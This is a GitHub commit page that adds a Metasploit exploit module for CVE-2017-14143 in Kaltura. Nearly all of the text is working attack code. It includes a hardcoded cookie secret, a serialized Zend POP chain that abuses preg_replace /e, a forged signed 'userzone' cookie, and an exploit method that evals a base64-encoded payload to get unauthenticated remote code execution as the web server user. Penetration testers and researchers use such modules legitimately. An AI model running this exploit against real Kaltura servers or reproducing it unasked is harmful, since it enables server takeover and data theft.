Skip to content

Commit 30a86a1

Browse files
committed
Add Kaltura <= 13.1.0 RCE (CVE-2017-14143)
1 parent cd35ae4 commit 30a86a1

File tree

1 file changed

+127
-0
lines changed

1 file changed

+127
-0
lines changed
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
CookieSecret = 'y3tAno3therS$cr3T'
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => 'Kaltura Remote PHP Code Execution over Cookie',
15+
'Description' => %q{
16+
This module exploits an Object Injection vulnerability in Kaltura.
17+
By exploiting this vulnerability, unauthenticated users can execute
18+
arbitrary code under the context of the web server user.
19+
20+
Kaltura makes use of a hardcoded cookie secret which allows to sign
21+
arbitrary cookie data. After passing this signature check, the base64-
22+
decoded data is passed to PHPs unserialize() function which allows for
23+
code execution. The constructed object is again based on the SektionEins
24+
Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are
25+
affected by this issue.
26+
27+
A valid entry_id (which is required for this exploit) can be obtained
28+
from any media resource published on the kaltura installation.
29+
30+
This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.
31+
},
32+
'License' => MSF_LICENSE,
33+
'Author' =>
34+
[
35+
'Robin Verton <[email protected]>',
36+
'Mehmet Ince <[email protected]>' # first kaltura rce module
37+
],
38+
'References' =>
39+
[
40+
['CVE', '2017-14143']
41+
],
42+
'Privileged' => false,
43+
'Platform' => ['php'],
44+
'Arch' => ARCH_PHP,
45+
'Targets' => [ ['Automatic', {}] ],
46+
'DisclosureDate' => 'Sep 12 2017',
47+
'DefaultTarget' => 0
48+
))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']),
53+
OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', ''])
54+
]
55+
)
56+
end
57+
58+
def check
59+
r = rand_text_alpha(15 + rand(4))
60+
entry_id = datastore['ENTRYID']
61+
cmd = "print_r(#{r}).die()"
62+
63+
p = ""
64+
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
65+
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
66+
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
67+
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
68+
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
69+
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
70+
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
71+
72+
encoded = Rex::Text.encode_base64(p)
73+
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")
74+
75+
res = send_request_cgi(
76+
'method' => 'GET',
77+
'uri' => normalize_uri(target_uri.path, "index.php/keditorservices/getAllEntries?list_type=15&entry_id=#{entry_id}"),
78+
'headers' => {
79+
'Cookie' => "userzone=#{encoded}#{hash}"
80+
}
81+
)
82+
83+
if res and res.redirect?
84+
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
85+
Exploit::CheckCode::Safe
86+
elsif res && res.body.include?(r)
87+
Exploit::CheckCode::Vulnerable
88+
else
89+
print_warning("Did you use a valid entry_id?")
90+
Exploit::CheckCode::Safe
91+
end
92+
end
93+
94+
def exploit
95+
entry_id = datastore['ENTRYID']
96+
cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"
97+
98+
p = ""
99+
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
100+
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
101+
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
102+
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
103+
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
104+
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
105+
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
106+
107+
encoded = Rex::Text.encode_base64(p)
108+
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")
109+
110+
res = send_request_cgi(
111+
'method' => 'GET',
112+
'uri' => normalize_uri(target_uri.path, "index.php/keditorservices/getAllEntries?list_type=15&entry_id=#{entry_id}"),
113+
'headers' => {
114+
'Cookie' => "userzone=#{encoded}#{hash}"
115+
}
116+
)
117+
118+
if res and res.redirect?
119+
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
120+
elsif res and res.code != 200
121+
print_error("Unexpected response...")
122+
else
123+
print_status("Output: #{res.body}")
124+
end
125+
126+
end
127+
end

0 commit comments

Comments
 (0)